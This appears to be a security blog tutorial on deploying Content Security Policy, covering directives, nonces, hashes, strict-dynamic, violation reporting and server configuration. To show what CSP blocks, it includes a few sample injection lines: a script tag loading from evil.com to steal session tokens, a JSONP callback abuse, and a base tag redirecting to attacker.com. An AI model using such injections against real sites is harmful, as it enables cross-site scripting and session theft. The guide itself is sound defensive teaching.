← Back to Blog

Content Security Policy (CSP): Complete Implementation Guide

Cross-site scripting (XSS) is the most common web vulnerability, responsible for countless data breaches. Content Security Policy is your browser-enforced last line of defence. This guide covers every directive, nonce, hash, and reporting mechanism you need to deploy a production-grade CSP.

Why You Need a Content Security Policy

Imagine a scenario: a user-generated comment on your site contains <script src="https://evil.com/steal.js"></script>. Without CSP, that script executes with full access to the DOM, cookies, and localStorage. It can exfiltrate session tokens, redirect users to phishing pages, or mine cryptocurrency in the background.

XSS is not theoretical. It has compromised British Airways (500,000 customer records), Ticketmaster, and hundreds of smaller sites via Magecart-style attacks. The attackers inject a single script tag into a page that processes payments, and credit card numbers flow silently to a remote server.

A well-implemented Content Security Policy tells the browser: only execute scripts from sources I explicitly trust. Even if an attacker injects a script tag, the browser blocks it cold.

How CSP Works

CSP is delivered as an HTTP response header. The browser reads the policy before rendering the page and enforces it for every resource load: scripts, styles, images, fonts, API calls, iframes, and more.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

The browser will execute JavaScript only from the same origin ('self') and from cdn.example.com. Any other script - including inline <script> tags and injected external scripts - is blocked and the violation is logged to the browser console.

You can also use report-only mode to test a policy without breaking anything:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

In report-only mode, violations are reported but not blocked. This is how you safely develop a CSP without breaking your production site.

The Core Directives

CSP has over 20 directives. These are the ones you will use in every policy:

default-src

The fallback for any directive not explicitly listed. Setting default-src 'self' means all resource types are restricted to same origin unless a more specific directive overrides it.

Content-Security-Policy: default-src 'self'

script-src

Controls JavaScript execution. This is the most security-critical directive. Avoid 'unsafe-inline' and 'unsafe-eval' whenever possible - they largely negate CSP's protection against XSS.

script-src 'self' https://cdn.jsdelivr.net 'nonce-rAnd0m123'

style-src

Controls CSS loading. Unlike scripts, inline styles with 'unsafe-inline' are less dangerous (CSS injection can be used for data exfiltration but cannot execute arbitrary JavaScript). Still, prefer nonces or hashes where possible.

style-src 'self' https://fonts.googleapis.com 'unsafe-inline'

img-src

Controls image sources. data: URIs are common for inline images and base64-encoded icons:

img-src 'self' data: https://cdn.example.com

connect-src

Controls fetch, XHR, WebSocket, and EventSource connections. Critical for SPAs that call APIs:

connect-src 'self' https://api.example.com wss://ws.example.com

font-src

Controls font loading. Google Fonts serves fonts from fonts.gstatic.com:

font-src 'self' https://fonts.gstatic.com

frame-src and frame-ancestors

frame-src controls what you can embed in iframes. frame-ancestors controls who can embed your page (replacing the older X-Frame-Options header):

frame-ancestors 'none'        /* blocks all framing (clickjacking protection) */
frame-ancestors 'self'        /* allows framing only from same origin */
frame-ancestors https://partner.com  /* specific trusted host */

object-src and base-uri

Always set both to 'none' unless you have a specific need. object-src 'none' blocks Flash and other plugins. base-uri 'none' prevents attackers from using a <base> tag to hijack relative URLs:

object-src 'none'; base-uri 'none'

A Real-World CSP Example

Here is a complete, production-grade CSP for a typical web application using Google Fonts, an external analytics script, and a REST API:

Content-Security-Policy:
  default-src 'none';
  script-src 'self' https://www.googletagmanager.com 'nonce-{RANDOM}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  img-src 'self' data: https://www.google-analytics.com;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com https://www.google-analytics.com;
  frame-ancestors 'none';
  base-uri 'none';
  object-src 'none';
  report-uri /csp-violations

Note the default-src 'none' - this is a deny-first approach. Every resource type is blocked unless an explicit directive allows it. This is far more secure than starting with 'self' and forgetting to restrict a resource type.

Nonces: The Right Way to Allow Inline Scripts

Inline scripts (<script>...</script>) are blocked by CSP by default, which is correct. But many legitimate applications need inline scripts for performance or framework requirements. The solution is a nonce: a cryptographically random value generated fresh for each HTTP response.

Step 1: Generate a random nonce on your server for each request:

# Python
import secrets
nonce = secrets.token_urlsafe(16)  # e.g. "rAnd0mBase64Value=="

# Node.js
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');

# PHP
$nonce = base64_encode(random_bytes(16));

Step 2: Add the nonce to your CSP header:

Content-Security-Policy: script-src 'self' 'nonce-rAnd0mBase64Value=='

Step 3: Add the same nonce as an attribute on each legitimate inline script:

<script nonce="rAnd0mBase64Value==">
  // This script will execute
  initApp();
</script>

<script>
  // This script is blocked - no matching nonce
  maliciousCode();
</script>

The nonce must be different for every page load. If it is static, an attacker who finds it can reuse it. Never use a predictable or reusable nonce.

A nonce must be at least 128 bits of cryptographic randomness, base64-encoded, regenerated on every request. Never include the nonce in a URL or log file.

Hashes: For Static Inline Scripts

If you have a truly static inline script that never changes, you can use a hash instead of a nonce. Compute the SHA-256 hash of the script content and include it in the CSP:

# The inline script content:
# alert('Hello');

# Compute hash:
echo -n "alert('Hello');" | openssl dgst -sha256 -binary | base64
# Result: RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc=
Content-Security-Policy: script-src 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='

The browser computes the hash of any inline script it encounters and compares it against the policy. Only exact matches execute. If the script content changes by even one character, it is blocked.

strict-dynamic: Modern CSP for SPAs

'strict-dynamic' is a powerful directive for modern JavaScript applications that load scripts dynamically. When combined with a nonce or hash, it allows scripts loaded by a trusted script to also be trusted:

script-src 'nonce-{RANDOM}' 'strict-dynamic'

This means your main application bundle (loaded with a nonce) can dynamically import other scripts via import() or document.createElement('script') and they will be allowed. Without strict-dynamic, dynamically loaded scripts would be blocked. This makes CSP practical for React, Vue, and Angular applications that use code splitting.

When strict-dynamic is present, 'self' and host allowlists are ignored in modern browsers. The policy relies entirely on the nonce/hash chain of trust.

Build Your CSP Header Instantly

Use our free CSP Builder to generate a valid Content Security Policy header with point-and-click controls for every directive. No guesswork, no syntax errors.

Open CSP Builder →

CSP Violation Reporting

A CSP without reporting is flying blind. Set up a report endpoint to receive violation data from browsers in the wild:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM}';
  report-uri /csp-report;
  report-to csp-endpoint

The newer report-to directive uses the Reporting API and is replacing report-uri. Use both for maximum browser coverage. Violation reports are sent as JSON POST requests:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src",
    "blocked-uri": "https://evil.com/inject.js",
    "source-file": "https://example.com/page",
    "line-number": 42,
    "column-number": 10
  }
}

Monitor these reports. A spike in violations may indicate an active XSS attack, a third-party script change, or a broken deployment. Services like report-uri.com aggregate and visualize CSP reports for you.

Deploying CSP: Step-by-Step

  1. Audit your page: Open DevTools Network tab. Note every external domain loading scripts, styles, fonts, and images.
  2. Start in report-only: Deploy Content-Security-Policy-Report-Only with a permissive policy and a report endpoint. Collect violations for 1–2 weeks.
  3. Analyse reports: Every violation is a resource you need to whitelist or a script you need to remove. Investigate unknown domains - they may be injected by browser extensions, ad networks, or attackers.
  4. Build the strict policy: Start from default-src 'none'. Add only what your violation reports show is legitimately needed.
  5. Add nonces: Replace any 'unsafe-inline' in script-src with server-generated nonces.
  6. Switch to enforcement: Change Content-Security-Policy-Report-Only to Content-Security-Policy.
  7. Keep reporting enabled: Leave the report endpoint active in enforcement mode to catch future violations.

Common CSP Mistakes to Avoid

  • Using 'unsafe-inline' in script-src: This defeats most of CSP's XSS protection. Use nonces or hashes instead.
  • Using 'unsafe-eval': Required by some older libraries (older Angular, some templating engines). If your library requires it, consider replacing the library.
  • Wildcard sources like https: or *: These allow loading scripts from any HTTPS URL, which is nearly as bad as no policy.
  • JSONP endpoints in allowlists: https://trusted.com/jsonp?callback=evil can be exploited to execute arbitrary code. Never include domains that serve JSONP.
  • Not setting base-uri: An injected <base href="https://attacker.com"> can redirect all relative URLs through an attacker-controlled host.
  • Forgetting frame-ancestors: Without it, your pages can be embedded in iframes for clickjacking attacks.
  • Static nonces: If the same nonce appears on every page load, it provides no protection. Generate a new one per request.

Setting CSP in Different Environments

Nginx

add_header Content-Security-Policy "default-src 'none'; script-src 'self' 'nonce-$request_id'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; object-src 'none';" always;

Apache

Header always set Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'none'; object-src 'none';"

Node.js / Express

const crypto = require('crypto');
app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  res.setHeader('Content-Security-Policy',
    `default-src 'none'; script-src 'self' 'nonce-${res.locals.nonce}'; ` +
    `style-src 'self'; img-src 'self' data:; connect-src 'self'; ` +
    `frame-ancestors 'none'; base-uri 'none'; object-src 'none';`
  );
  next();
});

Meta tag (limited)

CSP can be set via a <meta> tag, but with major limitations: report-uri, frame-ancestors, and sandbox are not supported in meta tags. Always prefer HTTP headers.

<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

Frequently Asked Questions

Does CSP completely prevent XSS?

No. CSP is a defence-in-depth measure, not a replacement for input sanitisation and output encoding. A weak policy (one with 'unsafe-inline' or broad wildcards) provides little protection. A strict nonce-based policy is highly effective but must be combined with proper input validation at the application layer.

Will CSP break my Google Analytics or tag manager?

Only if you do not explicitly allow it. Add https://www.googletagmanager.com to script-src and https://www.google-analytics.com to connect-src and img-src. Google Tag Manager itself can load many third-party scripts - each one you add through GTM must also be in your CSP.

What is the difference between report-uri and report-to?

report-uri is the original reporting directive, widely supported. report-to uses the newer Reporting API, which supports batching and has better delivery guarantees. Use both: report-uri /csp-report; report-to csp-endpoint. The report-to endpoint must also be declared in a Reporting-Endpoints header.

Can I use CSP with WordPress?

Yes, but it is complex. WordPress core and plugins inject many inline scripts. Your best approach is to use a plugin that adds nonces to all inline scripts, then deploy a nonce-based policy. Start with Content-Security-Policy-Report-Only and iterate on violations until the site is clean before switching to enforcement mode.

What does "unsafe-inline" actually allow?

'unsafe-inline' in script-src allows: inline <script> tags, javascript: URIs, inline event handlers (onclick, onmouseover, etc.), and eval()-like functions. This covers nearly every XSS attack vector, which is why it negates most of CSP's value.

How do I handle third-party scripts that I cannot control?

First, consider whether you truly need them. Every third-party script is a potential supply-chain attack vector. For necessary third-party scripts: load them from a subdomain you control (self-host or proxy), use Subresource Integrity (SRI) hashes to lock down specific versions, and monitor their behaviour in report-only mode before adding them to enforcement.

Use Our Free CSP Builder

Generate a syntactically correct Content Security Policy header in seconds. Select your directives, add your domains, and copy the result - no account required.

Use our free tool here →

The Bottom Line

A Content Security Policy is one of the highest-value security headers you can deploy. A strict, nonce-based CSP will stop the vast majority of XSS attacks even when your application has vulnerabilities. The implementation effort is real - especially for complex applications - but the risk reduction justifies it.

Start with report-only mode today. Collect two weeks of violation data. Then build a strict policy from the ground up. Use our CSP Builder to assemble the header, and our SSL Checker to verify your security headers are live.

For more security tools, explore our complete collection - all 70+ tools run in your browser with no data leaving your device.

UK
Written by Usman Khan
DevOps Engineer | MSc Cybersecurity | CEH | AWS Solutions Architect

Usman has 10+ years of experience securing enterprise infrastructure, managing high-traffic servers, and building zero-knowledge security tools. Read more about the author.